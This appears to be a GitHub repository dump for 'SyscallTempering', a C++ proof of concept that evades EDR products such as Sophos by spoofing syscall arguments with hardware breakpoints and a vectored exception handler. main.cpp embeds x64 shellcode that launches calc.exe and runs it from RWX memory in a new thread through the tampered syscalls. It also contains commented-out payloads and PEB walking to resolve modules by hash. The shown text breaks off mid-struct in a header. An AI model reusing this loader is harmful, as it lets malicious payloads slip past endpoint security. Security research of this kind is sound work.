├── .idea ├── SyscallTempering.iml ├── vcs.xml ├── .gitignore ├── misc.xml ├── modules.xml └── editor.xml ├── include ├── helpers.h ├── syscalls.h └── PeParsing.h ├── CMakeLists.txt ├── src ├── helpers.cpp ├── PeParsing.cpp └── syscalls.cpp ├── README.md └── main.cpp /.idea/SyscallTempering.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /include/helpers.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Brendan Ortiz on 7/23/2024. 3 | // 4 | 5 | #ifndef HELPERS_H 6 | #define HELPERS_H 7 | 8 | #include 9 | 10 | 11 | 12 | void int_srand(unsigned int seed); 13 | int int_rand(); 14 | void MemoryCopy(void* dest, const void* src, size_t n); 15 | 16 | #endif //HELPERS_H 17 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.28) 2 | project(SyscallTempering) 3 | 4 | set(CMAKE_CXX_STANDARD 20) 5 | 6 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fpermissive") 7 | 8 | add_executable(SyscallTempering main.cpp 9 | src/syscalls.cpp 10 | include/syscalls.h 11 | src/PeParsing.cpp 12 | include/PeParsing.h 13 | src/helpers.cpp 14 | include/helpers.h) 15 | -------------------------------------------------------------------------------- /src/helpers.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Brendan Ortiz on 7/23/2024. 3 | // 4 | 5 | #include "../include/helpers.h" 6 | 7 | void MemoryCopy(void* dest, const void* src, size_t n) { 8 | char* csrc = (char*)src; 9 | char* cdest = (char*)dest; 10 | 11 | // Copying data byte by byte 12 | for (size_t i = 0; i < n; i++) 13 | cdest[i] = csrc[i]; 14 | } 15 | 16 | unsigned long int n = 1; 17 | // Seed the generator 18 | void int_srand(unsigned int seed) { 19 | n = seed; 20 | } 21 | 22 | // Generate a random number 23 | int int_rand() { 24 | n = n * 1103515245 + 12345; 25 | return (unsigned int)(n/65536) % 32768; 26 | } -------------------------------------------------------------------------------- /src/PeParsing.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Brendan Ortiz on 7/23/2024. 3 | // 4 | 5 | #include "../include/PeParsing.h" 6 | 7 | UINT32 CRC32BW(IN LPCWSTR String){ 8 | 9 | UINT32 uMask = 0x00, 10 | uHash = 0xFFFFEFFF; 11 | INT i = 0x00; 12 | 13 | while (String[i] != 0) { 14 | 15 | uHash = uHash ^ (UINT32)String[i]; 16 | 17 | for (int ii = 0; ii < 8; ii++) { 18 | 19 | uMask = -1 * (uHash & 1); 20 | uHash = (uHash >> 1) ^ (0xEDB88320 & uMask); 21 | } 22 | 23 | i++; 24 | } 25 | 26 | return ~uHash; 27 | } 28 | 29 | UINT32 CRC32BA(IN LPCSTR String){ 30 | 31 | UINT32 uMask = 0x00, 32 | uHash = 0xFFFFEFFF; 33 | INT i = 0x00; 34 | 35 | while (String[i] != 0) { 36 | 37 | uHash = uHash ^ (UINT32)String[i]; 38 | 39 | for (int ii = 0; ii < 8; ii++) { 40 | 41 | uMask = -1 * (uHash & 1); 42 | uHash = (uHash >> 1) ^ (0xEDB88320 & uMask); 43 | } 44 | 45 | i++; 46 | } 47 | 48 | return ~uHash; 49 | } 50 | 51 | 52 | 53 | 54 | 55 | PVOID GetExportDirectoryAddress(HMODULE hModule) 56 | { 57 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; 58 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)hModule + dosHeader->e_lfanew); 59 | DWORD exportDirectoryRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 60 | ULONG_PTR imageExportDirectory = (ULONG_PTR)hModule + exportDirectoryRVA; 61 | 62 | return (PVOID)imageExportDirectory; 63 | } 64 | 65 | PVOID GetModuleBaseAddr(_In_ UINT32 Hash) 66 | { 67 | P_INT_LDR_DATA_TABLE_ENTRY Ldr = NULL; 68 | PLIST_ENTRY Hdr = NULL; 69 | PLIST_ENTRY Ent = NULL; 70 | P_INT_PEB Peb = NULL; 71 | 72 | PTEB teb = (PTEB)__readgsqword(0x30); 73 | 74 | Peb = (P_INT_PEB)teb->ProcessEnvironmentBlock; 75 | Hdr = &Peb->Ldr->InMemoryOrderLinks; 76 | Ent = Hdr->Flink; 77 | 78 | // cycle through the doubly linked list until we reach the first link. 79 | for (; Hdr != Ent; Ent = Ent->Flink) 80 | { 81 | Ldr = (P_INT_LDR_DATA_TABLE_ENTRY)Ent; 82 | 83 | if ((HASHW(Ldr->BaseDllName.Buffer) == Hash) || Hash == 0) 84 | return Ldr->DllBase; 85 | 86 | } 87 | 88 | return NULL; 89 | 90 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## What is Syscall Tempering? 2 | 3 | This tool is my way of improving upon the syscall tampering module given to us by maldevacademy.com 4 | The way syscall tampering works, is you set a hardware breakpoint at the location of a system call instruction, and register a vector exception handler to process the exception when the breakpoint is hit. 5 | The vector exeception handler will replace the spoofed arguments (usually just a bunch of NULLs) with the ones you actually want to execute. 6 | This hides the arguments from the EDR and if you choose a syscall to tamper that is not hooked, then the arguments are never identified by the EDR. 7 | However, the original implementation i believe could use some improvements hence this repo: 8 | 9 | ### Syscall Tempering 10 | Syscall Tempering improves upon the previous research and obtains a list of system calls that are not hooked by the currently running EDR solution (tested against sophos). I've used my tool Benign Hunter to perform this task. 11 | Then a randomly chosen benign system call is tampered. 12 | The original implementation additionally only spoofs the first four arguments due to the fact that an edr that does not hook all systemcalls will not be privy to our arguments we're passing to the tampered call. But, just incase all of the system calls are hooked, I have spoofed all arguments up to the first 11. 13 | Any system calls that require more than 11 arguments will require additional code. 14 | 15 | I've left the printf statements in incase you would like to see how things are changed by the VEH. 16 | 17 | This proof of concept successfully launches the calculator under the supervision of Sophos EDR. Haven't tested against any other EDR (besides defender). 18 | 19 | Why did i name it syscall Tempering? When it's supposed to be tampering? Well when i was playing diablo 4 I would randomly brick items due to the tempering system. When I started thinking of the idea of randomly selecting benign syscalls I couldn't get this feature out of my head and it's very similar to tampering so I figured it fit. 20 | 21 | ### How it works: 22 | 23 | 1) Creates hardware breakpoints in randomly selected benign syscalls. 24 | 2) Passes 11 null arguments to the benign syscall when it calls it. 25 | 3) Once syscall is hit, the hardware breakpoint triggers an exception and looks like the following: 26 | ![image](https://github.com/user-attachments/assets/9596c617-d5a8-4718-861a-ee8b6480992e) 27 | 28 | ![image](https://github.com/user-attachments/assets/c92bfeab-7b23-4db7-b337-6780375e9bcc) 29 | 30 | - Notice three things, 1 the syscall isn't a hooked one under sophos NtOpenSemaphore, 2 we've stopped at the syscall instruction itself, 3 the arguments list up to the first 11 is null which means they're spoofed. 31 | 4) Once the VEH callback routine is triggered, the VEH will handle replacing the arguments on the stack if necessary, the arguments in the registers, and the syscall instruction number itself. Here's what that looks like after it triggers. 32 | ![image](https://github.com/user-attachments/assets/b3ffb41d-9f72-4ebb-a3a2-04fabf7cf069) 33 | ![image](https://github.com/user-attachments/assets/168c122d-b963-4cc5-a0d8-fa0b7bd9eb65) 34 | 35 | 5) The hardware breakpoint is then removed. The rest of the syscalls will execute under this path with a randomly chosen benign call every time. The payload itself launches calculator under an environment protected by sophos. 36 | ![image](https://github.com/user-attachments/assets/4a9b8a94-0680-4b2f-9034-ec5c534e556b) 37 | -------------------------------------------------------------------------------- /include/syscalls.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Brendan Ortiz on 7/23/2024. 3 | // 4 | 5 | #ifndef SYCALLS_H 6 | #define SYCALLS_H 7 | 8 | #include 9 | #include "../include/helpers.h" 10 | 11 | 12 | typedef struct _SYSCALL_ENTRY { 13 | UINT32 u32Hash; //hash of the syscall 14 | ULONG_PTR uAddress; //address of the syscall to sort the array. 15 | }SYSCALL_ENTRY, *pSYSCALL_ENTRY; 16 | 17 | #define MAX_ENTRIES 600 18 | 19 | typedef struct _SYS_ENTRY_LIST { 20 | SYSCALL_ENTRY Entries[MAX_ENTRIES]; 21 | UINT32 u32Count; 22 | }SYS_ENTRY_LIST, *pSYS_ENTRY_LIST; 23 | 24 | typedef struct _BENIGN_SYSCALL_ENTRY { 25 | UINT32 u32Hash; 26 | ULONG_PTR uAddress; 27 | DWORD SSN; 28 | }BENIGN_SYSCALL_ENTRY, *pBENIGN_SYSCALL_ENTRY; 29 | 30 | typedef struct _BENIGN_ENTRY_LIST { 31 | BENIGN_SYSCALL_ENTRY Entries[MAX_ENTRIES]; 32 | UINT32 u32Count; 33 | } BENIGN_ENTRY_LIST, *pBENIGN_ENTRY_LIST; 34 | 35 | extern pSYS_ENTRY_LIST g_SyscallList; 36 | extern pBENIGN_ENTRY_LIST g_BenignSyscallList; 37 | 38 | typedef struct _TAMPERED_SYSCALL { 39 | ULONG_PTR uParam1; 40 | ULONG_PTR uParam2; 41 | ULONG_PTR uParam3; 42 | ULONG_PTR uParam4; 43 | ULONG_PTR uParam5; 44 | ULONG_PTR uParam6; 45 | ULONG_PTR uParam7; 46 | ULONG_PTR uParam8; 47 | ULONG_PTR uParam9; 48 | ULONG_PTR uParamA; 49 | ULONG_PTR uParamB; 50 | DWORD dwSyscallNumber; 51 | INT Nargs; 52 | } TAMPERED_SYSCALL, *pTAMPERED_SYSCALL; 53 | 54 | BOOL PopulateSyscallList(); 55 | DWORD FetchSSNFromSyscallEntries(UINT32 u32Hash); 56 | BOOL InitHardwareBreakpointHooking(); 57 | BOOL HaltHardwareBreakpointHooking(); 58 | VOID PopulateTamperedSyscall(ULONG_PTR uParam1, ULONG_PTR uParam2, ULONG_PTR uParam3, ULONG_PTR uParam4, ULONG_PTR uParam5, ULONG_PTR uParam6, ULONG_PTR uParam7, ULONG_PTR uParam8, ULONG_PTR uParam9, ULONG_PTR uParamA, ULONG_PTR uParamB, DWORD dwSyscallNumber, INT Nargs); 59 | unsigned long long SetDr7Bits(unsigned long long CurrentDr7Register, int StartingBitPosition, int NmbrOfBitsToModify, unsigned long long NewBitValue); 60 | BOOL InstallHardwareBreakpointHook(_In_ DWORD dwThreadID, _In_ ULONG_PTR uTargetFuncAddress); 61 | BOOL InitializeTamperedSyscall(_In_ ULONG_PTR uCalledSyscallAddress, _In_ UINT32 FunctionHash, _In_ INT Nargs, _In_ ULONG_PTR uParam1, _In_ ULONG_PTR uParam2, _In_ ULONG_PTR uParam3, _In_ ULONG_PTR uParam4, ULONG_PTR uParam5, ULONG_PTR uParam6, ULONG_PTR uParam7, ULONG_PTR uParam8, ULONG_PTR uParam9, ULONG_PTR uParamA, ULONG_PTR uParamB); 62 | 63 | typedef NTSTATUS(NTAPI* t_NtDummyApi)( 64 | ULONG_PTR uParm1, 65 | ULONG_PTR uParm2, 66 | ULONG_PTR uParm3, 67 | ULONG_PTR uParm4, 68 | ULONG_PTR uParm5, 69 | ULONG_PTR uParm6, 70 | ULONG_PTR uParm7, 71 | ULONG_PTR uParm8, 72 | ULONG_PTR uParm9, 73 | ULONG_PTR uParmA, 74 | ULONG_PTR uParmB // One can add more fake parameters here if the original syscall required > 11 parms 75 | ); 76 | 77 | /* 78 | TAMPER_SYSCALL: 79 | * Calls the "InitializeTamperedSyscall" function. 80 | * Calls the decoy syscall, "NtQuerySecurityObject". When "NtQuerySecurityObject" is executed, its SSN will be replaced with u32SyscallHash's SSN (that is the ssn of the real syscall to be executed). 81 | Therefore the kernel will invoke the function of hash "u32SyscallHash". 82 | * First 4 parameters of "NtQuerySecurityObject" are NULL, these are replaced by the VEH when triggered. 83 | */ 84 | #define TAMPER_SYSCALL(d64SyscallHash, Nargs, uParm1, uParm2, uParm3, uParm4, uParm5, uParm6, uParm7, uParm8, uParm9, uParmA, uParmB) \ 85 | if (1){ \ 86 | \ 87 | NTSTATUS STATUS = 0x00; \ 88 | t_NtDummyApi pDummyApi = NULL; \ 89 | \ 90 | pDummyApi = (t_NtDummyApi)g_BenignSyscallList->Entries[int_rand() % g_BenignSyscallList->u32Count].uAddress; \ 91 | if (!InitializeTamperedSyscall(pDummyApi, d64SyscallHash, Nargs, uParm1, uParm2, uParm3, uParm4, uParm5, uParm6, uParm7, uParm8, uParm9, uParmA, uParmB)) \ 92 | return -1; \ 93 | \ 94 | if ((STATUS = pDummyApi(NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != 0x00) { \ 95 | printf("[!] 0x%llx Failed With Error: 0x%llx \n", d64SyscallHash, STATUS); \ 96 | return -1; \ 97 | } \ 98 | } 99 | 100 | 101 | BOOL init(); 102 | BOOL IsPresent(DWORD64 dw64Hash, pBENIGN_ENTRY_LIST pList); 103 | 104 | extern pTAMPERED_SYSCALL g_TamperedSyscall; 105 | extern PCRITICAL_SECTION g_CriticalSection; 106 | extern PVOID g_VehHandler; 107 | 108 | 109 | #endif //SYCALLS_H 110 | -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "include/PeParsing.h" 3 | #include "include/syscalls.h" 4 | #include "include/helpers.h" 5 | 6 | #define ZwAllocateVirtualMemory_CRCA 0x71D7EF35 7 | #define ZwProtectVirtualMemory_CRCA 0x998153D9 8 | #define ZwCreateThreadEx_CRCA 0x477AC175 9 | #define ZwWaitForSingleObject_CRCA 0xcb27b639 10 | 11 | //winexec kernel32 winexec calc.exe payload. 12 | /* 13 | unsigned char rawData[] = { 14 | 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A, 15 | 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 16 | 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 17 | 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 18 | 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 19 | 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 20 | 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 21 | 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 22 | 0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3 23 | }; 24 | 25 | 26 | 00402000 > 8BEC MOV EBP,ESP 27 | 00402002 . 68 65786520 PUSH 20657865 28 | 00402007 . 68 636D642E PUSH 2E646D63 29 | 0040200C . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 30 | 0040200F . 50 PUSH EAX 31 | 00402010 . B8 8D15867C MOV EAX,kernel32.WinExec 32 | 00402015 . FFD0 CALL EAX 33 | 34 | unsigned char rawData[] = 35 | "\x31\xC9" //xor ecx,ecx 36 | "\x64\x8B\x71\x30" //mov esi,[fs:ecx+0x30] 37 | "\x8B\x76\x0C" //mov esi,[esi+0xc] 38 | "\x8B\x76\x1C" //mov esi,[esi+0x1c] 39 | "\x8B\x36" //mov esi,[esi] 40 | "\x8B\x06" //mov eax,[esi] 41 | "\x8B\x68\x08" //mov ebp,[eax+0x8] 42 | "\xEB\x20" //jmp short 0x35 43 | "\x5B" //pop ebx 44 | "\x53" //push ebx 45 | "\x55" //push ebp 46 | "\x5B" //pop ebx 47 | "\x81\xEB\x11\x11\x11\x11" //sub ebx,0x11111111 48 | "\x81\xC3\xDA\x3F\x1A\x11" //add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6) 49 | "\xFF\xD3" //call ebx 50 | "\x81\xC3\x11\x11\x11\x11" //add ebx,0x11111111 51 | "\x81\xEB\x8C\xCC\x18\x11" //sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7) 52 | "\xFF\xD3" //call ebx 53 | "\xE8\xDB\xFF\xFF\xFF" //call dword 0x15 54 | //db "cmd" 55 | "\x63\x6d\x64"; 56 | */ 57 | 58 | unsigned char rawData[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 59 | "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 60 | "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 61 | "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 62 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 63 | "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 64 | "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 65 | "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 66 | "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 67 | "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 68 | "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 69 | "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 70 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 71 | "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 72 | "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 73 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" 74 | "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" 75 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 76 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 77 | "\xd5\x63\x61\x6c\x63\x00"; 78 | 79 | 80 | int main() 81 | { 82 | if(!init()) 83 | printf("error attempting to initialize"); 84 | 85 | PVOID BaseAddress = NULL; 86 | ULONG RegionSize = sizeof(rawData); 87 | DWORD dwOldPro = 0x00; 88 | HANDLE hThread = NULL; 89 | 90 | if(!InitHardwareBreakpointHooking()) { 91 | printf("[error] attempting to initialize hardware breakpoint hooking\n"); 92 | return -1; 93 | } 94 | 95 | 96 | printf("[>] BaseAddress : 0x%p \n", &BaseAddress); 97 | printf("[>] RegionSize : 0x%p \n", &RegionSize); 98 | 99 | int_srand(time(NULL)); 100 | 101 | TAMPER_SYSCALL(ZwAllocateVirtualMemory_CRCA, 6, -1, &BaseAddress, 0x00, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, NULL, NULL, NULL, NULL); 102 | 103 | 104 | 105 | TAMPER_SYSCALL(ZwProtectVirtualMemory_CRCA, 5, -1, &BaseAddress, &RegionSize, PAGE_EXECUTE_READWRITE, &dwOldPro, NULL, NULL, NULL, NULL, NULL, NULL); 106 | 107 | MemoryCopy(BaseAddress, rawData, sizeof(rawData)); 108 | 109 | 110 | TAMPER_SYSCALL(ZwCreateThreadEx_CRCA, 7, &hThread, THREAD_ALL_ACCESS, NULL, -1, BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL); 111 | 112 | TAMPER_SYSCALL(ZwWaitForSingleObject_CRCA, 3, hThread, INFINITE, FALSE, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);// give created thread enough time to finish executing 113 | 114 | if(!HaltHardwareBreakpointHooking()) 115 | return -1; 116 | 117 | } 118 | -------------------------------------------------------------------------------- /.idea/editor.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 102 | -------------------------------------------------------------------------------- /include/PeParsing.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Brendan Ortiz on 7/23/2024. 3 | // 4 | 5 | #ifndef PEPARSING_H 6 | #define PEPARSING_H 7 | #include 8 | #include 9 | 10 | PVOID GetExportDirectoryAddress(HMODULE hModule); 11 | PVOID GetModuleBaseAddr(_In_ UINT32 Hash); 12 | UINT32 CRC32BA(IN LPCSTR String); 13 | UINT32 CRC32BW(IN LPCWSTR String); 14 | 15 | #define HASHW(STR)(CRC32BW(STR)) 16 | #define HASHA(STR)(CRC32BA(STR)) 17 | 18 | typedef enum _LDR_DLL_LOAD_REASON { 19 | LoadReasonStaticDependency, 20 | LoadReasonStaticForwarderDependency, 21 | LoadReasonDynamicForwarderDependency, 22 | LoadReasonDelayloadDependency, 23 | LoadReasonDynamicLoad, 24 | LoadReasonAsImageLoad, 25 | LoadReasonAsDataLoad, 26 | LoadReasonUnknown = -1 27 | } LDR_DLL_LOAD_REASON; 28 | 29 | typedef struct _RTL_BALANCED_NODE 30 | { 31 | union 32 | { 33 | struct _RTL_BALANCED_NODE* Children[2]; //0x0 34 | struct 35 | { 36 | struct _RTL_BALANCED_NODE* Left; //0x0 37 | struct _RTL_BALANCED_NODE* Right; //0x8 38 | }; 39 | }; 40 | union 41 | { 42 | struct 43 | { 44 | UCHAR Red : 1; //0x10 45 | UCHAR Balance : 2; //0x10 46 | }; 47 | ULONGLONG ParentValue; //0x10 48 | }; 49 | }_RTL_BALANCED_NODE, * P_RTL_BALANCED_NODE; 50 | 51 | typedef struct _INT_LSA_UNICODE_STRING { 52 | USHORT Length; 53 | USHORT MaximumLength; 54 | PWSTR Buffer; 55 | } _INT_LSA_UNICODE_STRING, * P_INT_LSA_UNICODE_STRING, _INT_UNICODE_STRING, * P_INT_UNICODE_STRING, * P_INT_UNICODE_STR; 56 | 57 | typedef struct _INT_LDR_DATA_TABLE_ENTRY 58 | { 59 | struct _LIST_ENTRY InLoadOrderLinks; //0x0 60 | struct _LIST_ENTRY InMemoryOrderLinks; //0x10 61 | struct _LIST_ENTRY InInitializationOrderLinks; //0x20 62 | VOID* DllBase; //0x30 63 | VOID* EntryPoint; //0x38 64 | ULONG SizeOfImage; //0x40 65 | struct _UNICODE_STRING FullDllName; //0x48 66 | struct _UNICODE_STRING BaseDllName; //0x58 67 | union 68 | { 69 | UCHAR FlagGroup[4]; //0x68 70 | ULONG Flags; //0x68 71 | struct 72 | { 73 | ULONG PackagedBinary : 1; //0x68 74 | ULONG MarkedForRemoval : 1; //0x68 75 | ULONG ImageDll : 1; //0x68 76 | ULONG LoadNotificationsSent : 1; //0x68 77 | ULONG TelemetryEntryProcessed : 1; //0x68 78 | ULONG ProcessStaticImport : 1; //0x68 79 | ULONG InLegacyLists : 1; //0x68 80 | ULONG InIndexes : 1; //0x68 81 | ULONG ShimDll : 1; //0x68 82 | ULONG InExceptionTable : 1; //0x68 83 | ULONG ReservedFlags1 : 2; //0x68 84 | ULONG LoadInProgress : 1; //0x68 85 | ULONG LoadConfigProcessed : 1; //0x68 86 | ULONG EntryProcessed : 1; //0x68 87 | ULONG ProtectDelayLoad : 1; //0x68 88 | ULONG ReservedFlags3 : 2; //0x68 89 | ULONG DontCallForThreads : 1; //0x68 90 | ULONG ProcessAttachCalled : 1; //0x68 91 | ULONG ProcessAttachFailed : 1; //0x68 92 | ULONG CorDeferredValidate : 1; //0x68 93 | ULONG CorImage : 1; //0x68 94 | ULONG DontRelocate : 1; //0x68 95 | ULONG CorILOnly : 1; //0x68 96 | ULONG ChpeImage : 1; //0x68 97 | ULONG ReservedFlags5 : 2; //0x68 98 | ULONG Redirected : 1; //0x68 99 | ULONG ReservedFlags6 : 2; //0x68 100 | ULONG CompatDatabaseProcessed : 1; //0x68 101 | }; 102 | }; 103 | USHORT ObsoleteLoadCount; //0x6c 104 | USHORT TlsIndex; //0x6e 105 | struct _LIST_ENTRY HashLinks; //0x70 106 | ULONG TimeDateStamp; //0x80 107 | struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88 108 | VOID* Lock; //0x90 109 | struct _LDR_DDAG_NODE* DdagNode; //0x98 110 | struct _LIST_ENTRY NodeModuleLink; //0xa0 111 | struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0 112 | VOID* ParentDllBase; //0xb8 113 | VOID* SwitchBackContext; //0xc0 114 | struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8 115 | struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0 116 | ULONGLONG OriginalBase; //0xf8 117 | union _LARGE_INTEGER LoadTime; //0x100 118 | ULONG BaseNameHashValue; //0x108 119 | enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c 120 | ULONG ImplicitPathOptions; //0x110 121 | ULONG ReferenceCount; //0x114 122 | ULONG DependentLoadFlags; //0x118 123 | UCHAR SigningLevel; //0x11c 124 | }_INT_LDR_DATA_TABLE_ENTRY, * P_INT_LDR_DATA_TABLE_ENTRY; 125 | 126 | 127 | struct _INT_STRING64 128 | { 129 | USHORT Length; //0x0 130 | USHORT MaximumLength; //0x2 131 | ULONGLONG Buffer; //0x8 132 | }; 133 | 134 | typedef struct _PEB64 135 | { 136 | UCHAR InheritedAddressSpace; //0x0 137 | UCHAR ReadImageFileExecOptions; //0x1 138 | UCHAR BeingDebugged; //0x2 139 | union 140 | { 141 | UCHAR BitField; //0x3 142 | struct 143 | { 144 | UCHAR ImageUsesLargePages : 1; //0x3 145 | UCHAR IsProtectedProcess : 1; //0x3 146 | UCHAR IsImageDynamicallyRelocated : 1; //0x3 147 | UCHAR SkipPatchingUser32Forwarders : 1; //0x3 148 | UCHAR IsPackagedProcess : 1; //0x3 149 | UCHAR IsAppContainer : 1; //0x3 150 | UCHAR IsProtectedProcessLight : 1; //0x3 151 | UCHAR IsLongPathAwareProcess : 1; //0x3 152 | }; 153 | }; 154 | UCHAR Padding0[4]; //0x4 155 | ULONGLONG Mutant; //0x8 156 | ULONGLONG ImageBaseAddress; //0x10 157 | P_INT_LDR_DATA_TABLE_ENTRY Ldr; //0x18 158 | ULONGLONG ProcessParameters; //0x20 159 | ULONGLONG SubSystemData; //0x28 160 | ULONGLONG ProcessHeap; //0x30 161 | ULONGLONG FastPebLock; //0x38 162 | ULONGLONG AtlThunkSListPtr; //0x40 163 | ULONGLONG IFEOKey; //0x48 164 | union 165 | { 166 | ULONG CrossProcessFlags; //0x50 167 | struct 168 | { 169 | ULONG ProcessInJob : 1; //0x50 170 | ULONG ProcessInitializing : 1; //0x50 171 | ULONG ProcessUsingVEH : 1; //0x50 172 | ULONG ProcessUsingVCH : 1; //0x50 173 | ULONG ProcessUsingFTH : 1; //0x50 174 | ULONG ProcessPreviouslyThrottled : 1; //0x50 175 | ULONG ProcessCurrentlyThrottled : 1; //0x50 176 | ULONG ProcessImagesHotPatched : 1; //0x50 177 | ULONG ReservedBits0 : 24; //0x50 178 | }; 179 | }; 180 | UCHAR Padding1[4]; //0x54 181 | union 182 | { 183 | ULONGLONG KernelCallbackTable; //0x58 184 | ULONGLONG UserSharedInfoPtr; //0x58 185 | }; 186 | ULONG SystemReserved; //0x60 187 | ULONG AtlThunkSListPtr32; //0x64 188 | ULONGLONG ApiSetMap; //0x68 189 | ULONG TlsExpansionCounter; //0x70 190 | UCHAR Padding2[4]; //0x74 191 | ULONGLONG TlsBitmap; //0x78 192 | ULONG TlsBitmapBits[2]; //0x80 193 | ULONGLONG ReadOnlySharedMemoryBase; //0x88 194 | ULONGLONG SharedData; //0x90 195 | ULONGLONG ReadOnlyStaticServerData; //0x98 196 | ULONGLONG AnsiCodePageData; //0xa0 197 | ULONGLONG OemCodePageData; //0xa8 198 | ULONGLONG UnicodeCaseTableData; //0xb0 199 | ULONG NumberOfProcessors; //0xb8 200 | ULONG NtGlobalFlag; //0xbc 201 | union _LARGE_INTEGER CriticalSectionTimeout; //0xc0 202 | ULONGLONG HeapSegmentReserve; //0xc8 203 | ULONGLONG HeapSegmentCommit; //0xd0 204 | ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 205 | ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 206 | ULONG NumberOfHeaps; //0xe8 207 | ULONG MaximumNumberOfHeaps; //0xec 208 | ULONGLONG ProcessHeaps; //0xf0 209 | ULONGLONG GdiSharedHandleTable; //0xf8 210 | ULONGLONG ProcessStarterHelper; //0x100 211 | ULONG GdiDCAttributeList; //0x108 212 | UCHAR Padding3[4]; //0x10c 213 | ULONGLONG LoaderLock; //0x110 214 | ULONG OSMajorVersion; //0x118 215 | ULONG OSMinorVersion; //0x11c 216 | USHORT OSBuildNumber; //0x120 217 | USHORT OSCSDVersion; //0x122 218 | ULONG OSPlatformId; //0x124 219 | ULONG ImageSubsystem; //0x128 220 | ULONG ImageSubsystemMajorVersion; //0x12c 221 | ULONG 